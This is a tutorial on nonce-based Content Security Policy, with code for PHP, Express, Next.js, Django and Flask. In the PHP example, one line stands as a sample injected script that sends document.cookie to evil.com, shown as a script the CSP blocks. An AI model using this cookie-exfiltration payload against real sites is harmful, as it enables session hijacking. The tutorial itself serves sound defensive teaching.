🔧 Validate Your CSP Policy

Copy a CSP example, deploy it, then verify it works with a real scan.

Verify with headertest.com →

If you’re serious about XSS prevention, nonce-based CSP is the way to go. It’s stronger than hash-based CSP, more maintainable than domain whitelisting, and once you understand the pattern, it’s not that complicated.

What Is a Nonce?#

A nonce (Number Used Once) is a random string generated by your server for each HTTP request. You include it in your CSP script-src directive AND in every <script> tag on the page. Scripts without the correct nonce are blocked.

The key insight: an attacker who injects a <script> tag can’t guess the nonce because it changes on every request. Even if they inject the script perfectly, it won’t execute.

How It Works#

  1. Server receives a page request
  2. Server generates a random nonce (e.g., a1b2c3d4e5f6...)
  3. Server includes the nonce in the CSP header: script-src 'nonce-a1b2c3d4e5f6...'
  4. Server includes the nonce in every <script nonce="a1b2c3d4e5f6..."> tag
  5. Browser allows scripts with matching nonce, blocks everything else

PHP Example#

<?php
$nonce = base64_encode(random_bytes(16));

header("Content-Security-Policy: "
    . "default-src 'self'; "
    . "script-src 'self' 'nonce-{$nonce}' 'strict-dynamic'; "
    . "style-src 'self' 'unsafe-inline'; "
    . "img-src 'self' data: https:; "
    . "font-src 'self'; "
    . "connect-src 'self'; "
    . "frame-ancestors 'none'; "
    . "base-uri 'self'; "
    . "form-action 'self'");
?>
<!DOCTYPE html>
<html>
<head>
    <!-- This works — nonce matches -->
    <script nonce="<?php echo $nonce; ?>">
        console.log('App initialized');
    </script>
    
    <!-- This works — nonce matches -->
    <script nonce="<?php echo $nonce; ?>" src="https://www.googletagmanager.com/gtag/js?id=G-XXXXX"></script>
</head>
<body>
    <!-- This works — nonce matches -->
    <script nonce="<?php echo $nonce; ?>">
        // Analytics setup
        gtag('config', 'G-XXXXX');
    </script>
    
    <!-- THIS IS BLOCKED — no nonce or wrong nonce -->
    <script>
        document.location = 'https://evil.com?cookie=' + document.cookie;
    </script>
</body>
</html>

Node.js/Express Example#

const crypto = require('crypto');
const express = require('express');
const app = express();

app.use((req, res, next) => {
    // Generate a new nonce for every request
    const nonce = crypto.randomBytes(16).toString('base64');
    
    // Store it for use in templates
    res.locals.nonce = nonce;
    
    // Add to CSP header
    res.setHeader('Content-Security-Policy',
        `default-src 'self'; ` +
        `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; ` +
        `style-src 'self' 'unsafe-inline'; ` +
        `img-src 'self' data: https:; ` +
        `font-src 'self'; ` +
        `connect-src 'self'; ` +
        `frame-ancestors 'none'; ` +
        `base-uri 'self'`
    );
    
    next();
});

// In your EJS template:
// <script nonce="<%= nonce %>">...</script>

Next.js Example#

// middleware.js
import { NextResponse } from 'next/server';
import { randomUUID } from 'crypto';

export function middleware(request) {
    const nonce = Buffer.from(randomUUID()).toString('base64');
    
    const cspHeader = [
        `default-src 'self'`,
        `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
        `style-src 'self' 'unsafe-inline'`,
        `img-src 'self' blob: data: https:`,
        `font-src 'self'`,
        `connect-src 'self'`,
        `frame-ancestors 'none'`,
        `base-uri 'self'`,
    ].join('; ');
    
    const response = NextResponse.next();
    response.headers.set('x-nonce', nonce);
    response.headers.set('Content-Security-Policy', cspHeader);
    return response;
}
// In your layout or page:
import { headers } from 'next/headers';

export default function Page() {
    const nonce = headers().get('x-nonce');
    return (
        <script nonce={nonce} src="https://www.googletagmanager.com/gtag/js?id=G-XXXXX" />
    );
}

Python/Django Example#

import base64
import os

class CSPMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        nonce = base64.b64encode(os.urandom(16)).decode('ascii')
        request.csp_nonce = nonce
        
        response = self.get_response(request)
        response['Content-Security-Policy'] = (
            f"default-src 'self'; "
            f"script-src 'self' 'nonce-{nonce}' 'strict-dynamic'; "
            f"style-src 'self' 'unsafe-inline'; "
            f"img-src 'self' data: https:; "
            f"font-src 'self'; "
            f"frame-ancestors 'none'; "
            f"base-uri 'self'"
        )
        return response

# In your template:
# <script nonce="{{ request.csp_nonce }}">...</script>

Python/Flask Example#

from flask import Flask, request, g
import base64, os

app = Flask(__name__)

@app.before_request
def add_nonce():
    g.nonce = base64.b64encode(os.urandom(16)).decode('ascii')

@app.after_request
def add_csp(response):
    nonce = g.get('nonce', '')
    response.headers['Content-Security-Policy'] = (
        f"default-src 'self'; "
        f"script-src 'self' 'nonce-{nonce}' 'strict-dynamic'; "
        f"style-src 'self' 'unsafe-inline'; "
        f"img-src 'self' data: https:; "
        f"frame-ancestors 'none'"
    )
    return response

Why ‘strict-dynamic’ Matters#

When you use a nonce with 'strict-dynamic', you get a powerful feature: scripts loaded by trusted scripts are automatically trusted too.

Without strict-dynamic:

s c r i p t - s r c ' s e l f ' ' n o n c e - a b c 1 2 3 ' h t t p s : / / w w w . g o o g l e t a g m a n a g e r . c o m

You’d need to list every sub-resource that GTM loads.

With strict-dynamic:

s c r i p t - s r c ' s e l f ' ' n o n c e - a b c 1 2 3 ' ' s t r i c t - d y n a m i c '

GTM (loaded via nonce) can load other scripts, and those are automatically trusted. You don’t need to whitelist every domain.

The 'self' and https:// sources are actually ignored when 'strict-dynamic' is present (in browsers that support it). Only nonce and hash sources are used. This is by design.

Nonce vs Hash#

You might have seen hash-based CSP as an alternative. Here’s the comparison:

Nonce Hash
How it works Random string per request Content hash per script
Updates needed No — same nonce for all scripts Yes — new hash for any script change
Dynamic content Works great Problematic — content changes = new hash
CDN caching Works — nonce in header, not page Works — hash matches content
Complexity Low High for anything dynamic

For most applications, nonce is the better choice. Use hashes only for static, rarely-changing inline scripts.

Common Pitfalls#

  1. Using the same nonce across requests — Defeats the purpose. Generate a new one for every request.

  2. Forgetting the nonce on external scripts<script src="..." nonce="..."> — the nonce goes on the tag, not in the URL.

  3. Not using strict-dynamic — Without it, you’ll need to whitelist every domain that every third-party script loads.

  4. Caching pages with nonces — If you’re caching full HTML pages, the nonce gets cached too. Use edge-side includes or cache at the component level instead.

Verify Your CSP#

Check Your Setup#

After implementing nonce-based CSP, use headertest.com to verify everything is configured correctly.